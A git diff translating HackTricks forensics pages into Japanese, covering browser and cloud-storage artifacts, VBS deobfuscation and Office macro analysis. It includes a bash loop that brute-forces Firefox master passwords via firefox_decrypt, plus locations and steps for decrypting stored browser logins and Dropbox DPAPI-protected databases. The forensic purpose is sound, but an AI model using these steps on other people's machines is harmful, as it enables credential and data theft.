ユーザーがインストールしたブラウザの拡張機能やアドオン。 +- **キャッシュ**: ウェブコンテンツ(例:画像、JavaScriptファイル)を保存し、ウェブサイトの読み込み時間を改善します。法医学的分析にとって貴重です。 +- **ログイン情報**: 保存されたログイン資格情報。 +- **ファビコン**: ウェブサイトに関連付けられたアイコンで、タブやブックマークに表示され、ユーザーの訪問に関する追加情報に役立ちます。 +- **ブラウザセッション**: 開いているブラウザセッションに関連するデータ。 +- **ダウンロード**: ブラウザを通じてダウンロードされたファイルの記録。 +- **フォームデータ**: ウェブフォームに入力された情報で、将来のオートフィル提案のために保存されます。 +- **サムネイル**: ウェブサイトのプレビュー画像。 +- **Custom Dictionary.txt**: ユーザーがブラウザの辞書に追加した単語。 ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefoxは、ユーザーデータをプロファイル内に整理し、オペレーティングシステムに基づいて特定の場所に保存します: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +これらのディレクトリ内の `profiles.ini` ファイルには、ユーザープロファイルがリストされています。各プロファイルのデータは、`profiles.ini` 内の `Path` 変数に名前が付けられたフォルダーに保存され、`profiles.ini` 自体と同じディレクトリにあります。プロファイルのフォルダーが欠けている場合、それは削除された可能性があります。 -Within each profile folder, you can find several important files: +各プロファイルフォルダー内には、いくつかの重要なファイルがあります: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: 履歴、ブックマーク、ダウンロードを保存します。Windows上の [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) のようなツールで履歴データにアクセスできます。 +- 履歴とダウンロード情報を抽出するために特定のSQLクエリを使用します。 +- **bookmarkbackups**: ブックマークのバックアップを含みます。 +- **formhistory.sqlite**: ウェブフォームデータを保存します。 +- **handlers.json**: プロトコルハンドラーを管理します。 +- **persdict.dat**: カスタム辞書の単語。 +- **addons.json** と **extensions.sqlite**: インストールされたアドオンと拡張機能に関する情報。 +- **cookies.sqlite**: クッキーの保存、Windows上での検査には [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) が利用可能です。 +- **cache2/entries** または **startupCache**: キャッシュデータで、[MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) のようなツールを通じてアクセスできます。 +- **favicons.sqlite**: ファビコンを保存します。 +- **prefs.js**: ユーザー設定と好み。 +- **downloads.sqlite**: 古いダウンロードデータベースで、現在は places.sqlite に統合されています。 +- **thumbnails**: ウェブサイトのサムネイル。 +- **logins.json**: 暗号化されたログイン情報。 +- **key4.db** または **key3.db**: 機密情報を保護するための暗号化キーを保存します。 -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +さらに、ブラウザのフィッシング対策設定を確認するには、`prefs.js` 内の `browser.safebrowsing` エントリを検索し、安全なブラウジング機能が有効または無効になっているかを示します。 +マスターパスワードを解読しようとする場合は、[https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) を使用できます。\ +次のスクリプトと呼び出しを使用して、ブルートフォースするパスワードファイルを指定できます: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chromeは、オペレーティングシステムに基づいて特定の場所にユーザープロファイルを保存します。 - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +これらのディレクトリ内には、ほとんどのユーザーデータが**Default/**または**ChromeDefaultData/**フォルダーにあります。以下のファイルには重要なデータが含まれています。 -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: URL、ダウンロード、検索キーワードを含みます。Windowsでは、[ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html)を使用して履歴を読むことができます。「Transition Type」列には、リンクのクリック、入力されたURL、フォームの送信、ページの再読み込みなど、さまざまな意味があります。 +- **Cookies**: クッキーを保存します。検査には、[ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html)が利用可能です。 +- **Cache**: キャッシュデータを保持します。検査するには、Windowsユーザーは[ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)を利用できます。 +- **Bookmarks**: ユーザーのブックマーク。 +- **Web Data**: フォーム履歴を含みます。 +- **Favicons**: ウェブサイトのファビコンを保存します。 +- **Login Data**: ユーザー名やパスワードなどのログイン資格情報を含みます。 +- **Current Session**/**Current Tabs**: 現在のブラウジングセッションとオープンタブに関するデータ。 +- **Last Session**/**Last Tabs**: Chromeが閉じられる前の最後のセッション中にアクティブだったサイトに関する情報。 +- **Extensions**: ブラウザ拡張機能やアドオンのディレクトリ。 +- **Thumbnails**: ウェブサイトのサムネイルを保存します。 +- **Preferences**: プラグイン、拡張機能、ポップアップ、通知などの設定を含む情報が豊富なファイル。 +- **Browser’s built-in anti-phishing**: 反フィッシングおよびマルウェア保護が有効かどうかを確認するには、`grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`を実行します。出力に`{"enabled: true,"}`があるか探します。 ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +前のセクションで観察できるように、ChromeとFirefoxの両方は**SQLite**データベースを使用してデータを保存しています。**削除されたエントリを回復するために**[**sqlparse**](https://github.com/padfoot999/sqlparse) **または** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **を使用することが可能です。** ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11は、データとメタデータをさまざまな場所で管理し、保存された情報とその対応する詳細を分離して簡単にアクセスおよび管理できるようにします。 ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Internet Explorerのメタデータは、`%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`に保存されます(VXはV01、V16、またはV24です)。これに伴い、`V01.log`ファイルは`WebcacheVX.data`との修正時間の不一致を示すことがあり、`esentutl /r V01 /d`を使用して修復が必要です。このメタデータはESEデータベースに格納されており、photorecや[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)などのツールを使用して回復および検査できます。**Containers**テーブル内では、各データセグメントが保存されている特定のテーブルやコンテナを識別でき、Skypeなどの他のMicrosoftツールのキャッシュ詳細も含まれています。 ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html)ツールを使用すると、キャッシュの検査が可能で、キャッシュデータ抽出フォルダーの場所が必要です。キャッシュのメタデータには、ファイル名、ディレクトリ、アクセス回数、URLの起源、キャッシュ作成、アクセス、修正、期限切れのタイムスタンプが含まれます。 ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +クッキーは[IECookiesView](https://www.nirsoft.net/utils/iecookies.html)を使用して調査でき、メタデータには名前、URL、アクセス回数、さまざまな時間関連の詳細が含まれます。永続的なクッキーは`%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`に保存され、セッションクッキーはメモリに存在します。 ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +ダウンロードのメタデータは[**ESEDatabaseView**](https://www.nirsoft.net/utils/ese_database_view.html)を介してアクセス可能で、特定のコンテナにはURL、ファイルタイプ、ダウンロード場所などのデータが保持されています。物理ファイルは`%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`に見つかります。 ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +ブラウジング履歴を確認するには、[BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html)を使用でき、抽出された履歴ファイルの場所とInternet Explorerの設定が必要です。ここでのメタデータには、修正およびアクセス時間、アクセス回数が含まれます。履歴ファイルは`%userprofile%\Appdata\Local\Microsoft\Windows\History`にあります。 ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +入力されたURLとその使用時間は、レジストリの`NTUSER.DAT`内の`Software\Microsoft\InternetExplorer\TypedURLs`および`Software\Microsoft\InternetExplorer\TypedURLsTime`に保存され、ユーザーが入力した最後の50のURLとその最後の入力時間を追跡します。 ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edgeは、ユーザーデータを`%userprofile%\Appdata\Local\Packages`に保存します。さまざまなデータタイプのパスは次のとおりです。 - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Safariデータは`/Users/$User/Library/Safari`に保存されます。主なファイルは次のとおりです。 -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: `history_visits`および`history_items`テーブルにURLと訪問タイムスタンプが含まれています。`sqlite3`を使用してクエリを実行します。 +- **Downloads.plist**: ダウンロードされたファイルに関する情報。 +- **Bookmarks.plist**: ブックマークされたURLを保存します。 +- **TopSites.plist**: 最も頻繁に訪問されたサイト。 +- **Extensions.plist**: Safariブラウザ拡張機能のリスト。`plutil`または`pluginkit`を使用して取得します。 +- **UserNotificationPermissions.plist**: プッシュ通知を許可されたドメイン。`plutil`を使用して解析します。 +- **LastSession.plist**: 最後のセッションのタブ。`plutil`を使用して解析します。 +- **Browser’s built-in anti-phishing**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`を使用して確認します。1の応答は機能がアクティブであることを示します。 ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Operaのデータは`/Users/$USER/Library/Application Support/com.operasoftware.Opera`にあり、履歴とダウンロードの形式はChromeと同じです。 -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: `grep`を使用してPreferencesファイル内の`fraud_protection_enabled`が`true`に設定されているか確認します。 -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +これらのパスとコマンドは、さまざまなウェブブラウザによって保存されたブラウジングデータにアクセスし、理解するために重要です。 ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..eab18a01a 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +悪意のあるVBSファイルをデバッグ/デオブフスケートするのに役立ついくつかのこと: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## コメント ```bash ' this is a comment ``` - -## Test - +## テスト ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## ファイルにデータを書き込む ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..a5366c4a5 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,95 @@ -# Local Cloud Storage +# ローカルクラウドストレージ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Windowsでは、OneDriveフォルダーは `\Users\\AppData\Local\Microsoft\OneDrive` にあります。そして、`logs\Personal` 内には、同期されたファイルに関する興味深いデータを含む `SyncDiagnostics.log` ファイルがあります: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- バイト単位のサイズ +- 作成日 +- 修正日 +- クラウド内のファイル数 +- フォルダー内のファイル数 +- **CID**: OneDriveユーザーのユニークID +- レポート生成時間 +- OSのHDのサイズ -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +CIDを見つけたら、**このIDを含むファイルを検索することをお勧めします**。_**\.ini**_ や _**\.dat**_ という名前のファイルが見つかるかもしれません。これらのファイルには、OneDriveと同期されたファイルの名前などの興味深い情報が含まれている可能性があります。 ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Windowsでは、主要なGoogle Driveフォルダーは `\Users\\AppData\Local\Google\Drive\user_default` にあります。このフォルダーには、アカウントのメールアドレス、ファイル名、タイムスタンプ、ファイルのMD5ハッシュなどの情報を含む `Sync_log.log` というファイルがあります。削除されたファイルも、そのログファイルに対応するMD5と共に表示されます。 -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +**`Cloud_graph\Cloud_graph.db`** ファイルはsqliteデータベースで、**`cloud_graph_entry`** テーブルを含んでいます。このテーブルには、**同期された** **ファイル**の**名前**、修正時間、サイズ、ファイルのMD5チェックサムが含まれています。 -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +データベース **`Sync_config.db`** のテーブルデータには、アカウントのメールアドレス、共有フォルダーのパス、Google Driveのバージョンが含まれています。 ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropboxは**SQLiteデータベース**を使用してファイルを管理しています。この\ +データベースは以下のフォルダーにあります: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +主要なデータベースは次のとおりです: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx"拡張子は、**データベース**が**暗号化されている**ことを意味します。Dropboxは**DPAPI**を使用しています([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropboxが使用している暗号化をよりよく理解するには、[https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)を読むことができます。 -However, the main information is: +しかし、主な情報は次のとおりです: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **エントロピー**: d114a55212655f74bd772e37e64aee9b +- **ソルト**: 0D638C092E8B82FC452883F95F355B8E +- **アルゴリズム**: PBKDF2 +- **反復回数**: 1066 -Apart from that information, to decrypt the databases you still need: +その情報に加えて、データベースを復号化するには、次のものが必要です: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **暗号化されたDPAPIキー**: `NTUSER.DAT\Software\Dropbox\ks\client` 内のレジストリで見つけることができます(このデータをバイナリとしてエクスポート) +- **`SYSTEM`** および **`SECURITY`** ハイブ +- **DPAPIマスタキー**: `\Users\\AppData\Roaming\Microsoft\Protect` にあります +- Windowsユーザーの**ユーザー名**と**パスワード** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +その後、ツール [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**を使用できます:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +すべてが期待通りに進めば、ツールは**元のものを復元するために使用する必要がある主キー**を示します。元のものを復元するには、この[cyber_chefレシピ]()を使用し、主キーをレシピ内の「パスフレーズ」として入力します。 +得られた16進数は、データベースを暗号化するために使用される最終キーであり、次のように復号化できます: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** データベースには以下が含まれています: -The **`config.dbx`** database contains: +- **Email**: ユーザーのメール +- **usernamedisplayname**: ユーザーの名前 +- **dropbox_path**: Dropboxフォルダーがあるパス +- **Host_id: Hash**: クラウドへの認証に使用されます。これはウェブからのみ取り消すことができます。 +- **Root_ns**: ユーザー識別子 -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** データベースには、Dropboxと同期されたすべてのファイルとフォルダーに関する情報が含まれています。`File_journal` テーブルが最も有用な情報を持っています: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: サーバー内のファイルがあるパス(このパスはクライアントの `host_id` によって前置されます)。 +- **local_sjid**: ファイルのバージョン +- **local_mtime**: 修正日 +- **local_ctime**: 作成日 -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +このデータベース内の他のテーブルには、さらに興味深い情報が含まれています: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: Dropboxのすべてのファイルとフォルダーのハッシュ +- **block_ref**: `block_cache` テーブルのハッシュIDと `file_journal` テーブルのファイルIDを関連付けます +- **mount_table**: Dropboxの共有フォルダー +- **deleted_fields**: Dropboxで削除されたファイル - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 2e07c739d..c234a407d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+さらなる情報は[https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)を確認してください。これは要約です: -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoftは多くのオフィス文書フォーマットを作成しており、主に**OLEフォーマット**(RTF、DOC、XLS、PPTなど)と**Office Open XML (OOXML)フォーマット**(DOCX、XLSX、PPTXなど)の2種類があります。これらのフォーマットにはマクロが含まれることがあり、フィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍することでファイルとフォルダの階層やXMLファイルの内容を確認できます。 -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} +OOXMLファイル構造を探るための文書を解凍するコマンドと出力構造が示されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータ隠蔽の革新が続いていることを示しています。 -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +分析のために、**oletools**と**OfficeDissector**はOLEおよびOOXML文書を調査するための包括的なツールセットを提供します。これらのツールは、しばしばマルウェア配信のベクターとして機能する埋め込まれたマクロを特定し分析するのに役立ちます。VBAマクロの分析は、Libre Officeを利用することでMicrosoft Officeなしで行うことができ、ブレークポイントやウォッチ変数を使ってデバッグが可能です。 +**oletools**のインストールと使用は簡単で、pipを介してインストールし、文書からマクロを抽出するためのコマンドが提供されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または`Document_Open`のような関数によってトリガーされます。 ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
